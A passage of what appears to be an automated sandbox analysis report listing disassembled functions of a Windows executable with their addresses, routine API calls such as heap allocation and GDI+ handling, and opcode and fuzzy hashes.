
API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 86e3d364c62a1f726d5e90ffda69d07ce31b1f2dafc14522786c56abf2d92527
Instruction ID: 3f798efeba807eed11079cd39e9618276ae8243ef3cfc8f990076977f5d61a52
Opcode Fuzzy Hash: 86e3d364c62a1f726d5e90ffda69d07ce31b1f2dafc14522786c56abf2d92527
Instruction Fuzzy Hash: E2E012B26121507BDA201F77EC4DDA7AE6CDFA27A5B048037B644A3271D6314C55C2B4

Function 00DDD1CB Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00DF8950,000000FF), ref: 00DDD209
CoUninitialize.COMBASE(?,?,?,00DF8950,000000FF), ref: 00DDD20F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 6c26c14ea9cdb6d4a490a83ba54232ed5f5c725ac1a45efcd1d6377addeeaa23
Instruction ID: ac15c6a429043913fb8b0082779ec58d6b27fabf113a280b77c21c7146a382ef
Opcode Fuzzy Hash: 6c26c14ea9cdb6d4a490a83ba54232ed5f5c725ac1a45efcd1d6377addeeaa23
Instruction Fuzzy Hash: 75F08276604644EFC701DF19EC05B5ABBB9FB48730F008226E816D37A0CB75A804CBA4

Function 00DEE1FA Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00DF1EF6,?,00000000,?,?,00DF1F1B,?,00000007,?,?,00DF22FB,?,?), ref: 00DEE210
GetLastError.KERNEL32(?,?,00DF1EF6,?,00000000,?,?,00DF1F1B,?,00000007,?,?,00DF22FB,?,?), ref: 00DEE21B

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4e2ad56c39749f73b655d5372bcf1539e000ebb3a1388e94dfa172b759cf3e6f
Instruction ID: e4178b58de3d98b90f5e68912782a2a6be4d61687a138fce319d450ed2a874fd
Opcode Fuzzy Hash: 4e2ad56c39749f73b655d5372bcf1539e000ebb3a1388e94dfa172b759cf3e6f
Instruction Fuzzy Hash: 6FE08632140358ABDB113FA2EC09B993B58EB00361F098011F608DA271DB308880CBB8

Function 00DE649C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DE64BA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00DE64C5

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: a0bc10f783258fd49d0096395611d06361885b1f3bc440d424332c3cff63f762
Instruction ID: 06781bf19ec4365d6c309f083233f8c76b90d35cf8ebadf9241d87b6ab42d5b8
Opcode Fuzzy Hash: a0bc10f783258fd49d0096395611d06361885b1f3bc440d424332c3cff63f762
Instruction Fuzzy Hash: C9D0227100CBC218EE9077B7681684A2340EE32BF83B4264AF670A73C3EF19C04C6031

Function 00DC2215 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00DC2224
ShowWindow.USER32(00000000,?,?,?), ref: 00DC222B

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: e69e96ad2f74b61d66784322a17dc8002a221fd1d7c44cfd8806a27ae0fb48ce
Instruction ID: 9a899f70271aab68373e96d62e82b7f07fa4339ab996e40c095061e24b1ed8dc
Opcode Fuzzy Hash: e69e96ad2f74b61d66784322a17dc8002a221fd1d7c44cfd8806a27ae0fb48ce
Instruction Fuzzy Hash: CDC08CF22681003E86004FB19C0DCB73AAC96B2B02704CA08B062D0280D13CC4448620

Function 00DC2BE2 Relevance: 1.8, APIs: 1, Instructions: 313COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DC2BE9

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 00b86b306453cb428363e53d28c1200e030b8a046b4332f3259c86197c25eeb7
Instruction ID: 77c6e1a9fb47b95e8420c2c501097fca4a9b222b85a7bee37b07e1fa00c75ff2
Opcode Fuzzy Hash: 00b86b306453cb428363e53d28c1200e030b8a046b4332f3259c86197c25eeb7
Instruction Fuzzy Hash: D0C18F30A042469BDF15DF28C894BFD7BA4AF56300F0C80BEE846DB296CB349945CBB1

Function 00DF060E Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(FFFFF9AD,?,00000005,00DF084A,?), ref: 00DF0640

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: c1147b093f9c9eaaa1b17d5139753d8cbc25c9d4d6ef375c3db75ea260be7cc9
Instruction ID: 9225028bfe9f412afca848b52060580f1ea6fb071fcbc76e27f2b86293e173f4
Opcode Fuzzy Hash: c1147b093f9c9eaaa1b17d5139753d8cbc25c9d4d6ef375c3db75ea260be7cc9
Instruction Fuzzy Hash: A05123B190815CAADB119B28CD84BF9BFACEB15304F2881E9E689C7143C375AD95CF70

Function 00DC278A Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DC2791

Part of subcall function 00DC9789: __EH_prolog3.LIBCMT ref: 00DC9790

Part of subcall function 00DD2345: __EH_prolog3.LIBCMT ref: 00DD234C

Part of subcall function 00DC8369: __EH_prolog3.LIBCMT ref: 00DC8370

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: e35408822b1386e8d7f0097664ef9fbffc628152e6fad76ef0732fcc9d4b4bc7
Instruction ID: d0d24388355a9e50227410e592b62ae2671b66c48d61353495145390d3e12e4b
Opcode Fuzzy Hash: e35408822b1386e8d7f0097664ef9fbffc628152e6fad76ef0732fcc9d4b4bc7
Instruction Fuzzy Hash: 0741C271A053818ECB45EF688491BD83BA0AF19310F0842BEED58DF29BEB741655CB72

Function 00DCF07C Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCF083

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-0
Opcode ID: 5cd629a3846a11c569a985cae2b7ca1bb27446273d87db68366632626853342e
Instruction ID: 91e80e4bd09933d07c3a82503981f07858fe3565c89c8bda606ba45f943e2f27
Opcode Fuzzy Hash: 5cd629a3846a11c569a985cae2b7ca1bb27446273d87db68366632626853342e
Instruction Fuzzy Hash: 2211E23074035696DF24A7308562FFD6763DFA3B10F0C111DE5822B2C7DE65494A92B6

Function 00DC2690 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DC2697

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-0
Opcode ID: c33d20bba67853cca741b6f95fb69a517a3dbe2722ea0ce10b1bb71c304305a7
Instruction ID: e1716a81152ec51a4c45e5e68867a888de71e3617003302c83570f81529f577b
Opcode Fuzzy Hash: c33d20bba67853cca741b6f95fb69a517a3dbe2722ea0ce10b1bb71c304305a7
Instruction Fuzzy Hash: 12114231D042499ACB09EBA4E8A1EEDB378DF64304F64C01EF412A32A2DE615A09D771

Function 00DCCFA1 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DCCFA8

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 2b9c46d9d2a376aaf08ad8ec55b7b1bb3fe4d5d11d6ba6da56fe1eea42cc1b54
Instruction ID: 54c6b95c9185f24ade2868c7de22f91573a1d844bf3cc1fef5894299a832b277
Opcode Fuzzy Hash: 2b9c46d9d2a376aaf08ad8ec55b7b1bb3fe4d5d11d6ba6da56fe1eea42cc1b54
Instruction Fuzzy Hash: 0F117372E0172756DB24FBB88C92FBF7266DF54300B15862DF511A7282DE34DD0586B0

Function 00DF1134 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137bbebed100b3ce26ef271819360c8d6e1dbcfe6dbfa445ba52255766f7caff
Instruction ID: f0006ec96bbf824c32c5896b93fa908dffc75dba8cfe0ee3e9206f55b9e52bad
Opcode Fuzzy Hash: 137bbebed100b3ce26ef271819360c8d6e1dbcfe6dbfa445ba52255766f7caff
Instruction Fuzzy Hash: 8E01D23B610318DFDB16CF69EC40A7633A5BB8572072A8124FB1897154DE32D84486A4

Function 00DEF9F4 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00DE24EE,?,00DEDFF7,00000001,00000364,00DE24EE,00000006,000000FF,?,00DE3E9F,?,?,?), ref: 00DEFA35

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 88b3732d728d3fe1cb6197dd362bad336159f008e3e08270c68bb463944e8e3f
Instruction ID: f143f503df4de5475aa7085405e748aa8ad5d398a6efcd4f76649f2ae027c7dc
Opcode Fuzzy Hash: 88b3732d728d3fe1cb6197dd362bad336159f008e3e08270c68bb463944e8e3f
Instruction Fuzzy Hash: 84F082366902A566EB22BF779D46A6A3B49DF41770F194172BC0DEE191CA30DC0186F0

Function 00DEE234 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00DE24EE,?,?,00DE3E9F,?,?,?,?,?,00DE23FB,00DE24EE,?,?,?,?), ref: 00DEE266

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 607562df536a470d56bcdd72ca58aae41dbb9aac7533382b8c4b2e99fa529394
Instruction ID: ee68f7eb938277d2a6f6a08d06b23343653a63d088e585a684da60ecaa3a488e
Opcode Fuzzy Hash: 607562df536a470d56bcdd72ca58aae41dbb9aac7533382b8c4b2e99fa529394
Instruction Fuzzy Hash: 25E06D722402F16BEB213E679D01B6B3B4DDF823A0F190221FE5996291CB60CC0085F9

Function 00DDCACE Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(000204C2,00000000,?,00000000), ref: 00DDCAFE

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 67e7e6ca10fbaed4823131b53ae3ada158f7aa1ac4084ebb751b5cc5615132f3
Instruction ID: 1d1442cfa0a4d932a9451e612b538d7a9a1331bea0d7d9db70a62115894cceb6
Opcode Fuzzy Hash: 67e7e6ca10fbaed4823131b53ae3ada158f7aa1ac4084ebb751b5cc5615132f3
Instruction Fuzzy Hash: 50E0C2767142215B8B24FAE65C55DABE75FDFD5760F04882EB104E7392CA318C0883B0

Function 00DD65B5 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00DD65EA

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 339acfdbe67c0bcea1fb7d8d176e6005df911fa98c0f5b1b18cf386129e59050
Instruction ID: d6782684e7d7d1731e5c20e548605eb2cc725d2f28df6b901b34ccff925f7bf4
Opcode Fuzzy Hash: 339acfdbe67c0bcea1fb7d8d176e6005df911fa98c0f5b1b18cf386129e59050
Instruction Fuzzy Hash: 45D0C21160415116CE2537A9A805BBD06068FC2358F0940AFB005633CBCA444886D6B3

Function 00DDD11A Relevance: 1.5, APIs: 1, Instructions: 20windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS(?,00000000,00000000,00000000,?,00DDD166,00000000), ref: 00DDD137

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: c232bc0c64c24fee1e9b7c8718cee9e666696e94538423362c31994d0e329820
Instruction ID: 312fadda33d9604648f78c4238fe6fcea40a834e46be3d7b8ca5bd8215db9da2
Opcode Fuzzy Hash: c232bc0c64c24fee1e9b7c8718cee9e666696e94538423362c31994d0e329820
Instruction Fuzzy Hash: 92E08C71910318EFCF10AF95CC069AEBAEDEB45360F10405AA841E2320DBB09E40DBB0

Function 00DDD00A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,00000000,00000000,00000000,00DDCBF1,?,00000000), ref: 00DDD01E

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: BitmapCreateFromGdip
String ID:
API String ID: 4184683939-0
Opcode ID: a8ac42632fbf9dca478063e96f3094767759a151b1f68574fa233773580b20ff
Instruction ID: 120a7bc5a02404a11dacdd6dbca829a00a31bebe606f7525ce54fc61e71918e9
Opcode Fuzzy Hash: a8ac42632fbf9dca478063e96f3094767759a151b1f68574fa233773580b20ff
Instruction Fuzzy Hash: ADD012321042216B8655FB58DC15C7F77AAEFC8310B04881FF549C2261CB204C52C775

Function 00DE1EBE Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DE1F67: RtlAcquireSRWLockExclusive.NTDLL ref: 00DE1F84

DloadProtectSection.DELAYIMP ref: 00DE1EE6

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AcquireDloadExclusiveLockProtectSection
String ID:
API String ID: 3680172570-0
Opcode ID: d119bc28b2850780f3933daf254cbe6e61014507fbb6846c67c7c054f9a80852
Instruction ID: 55268b2169bec8a3d78cf8b8eae3972442c630369db438a2db486fb544f75b6a
Opcode Fuzzy Hash: d119bc28b2850780f3933daf254cbe6e61014507fbb6846c67c7c054f9a80852
Instruction Fuzzy Hash: 37D012787003C54ED225B76799467393369F714B40F444A03FA86E15E0CFB145C4CA35

Function 00DDBA3B Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,?,00DDD8C1), ref: 00DDBA4C

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: DestroyWindow
String ID:
API String ID: 3375834691-0
Opcode ID: cfce3bf95e56b68b4af9bb1d7986d131fed0ea29baeafc13d7d9330de5925e66
Instruction ID: f6b56061ea528ac97c4dcd998e35d9df96083a686fae4e54c30079c5bce0c759
Opcode Fuzzy Hash: cfce3bf95e56b68b4af9bb1d7986d131fed0ea29baeafc13d7d9330de5925e66
Instruction Fuzzy Hash: AEC01272022610DFD7268F08EA09796B3E4EB00766F18842EE067639A0C3B06898CB54

Function 00DC2336 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextW.USER32(000204C2,?,00000000), ref: 00DC2345

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
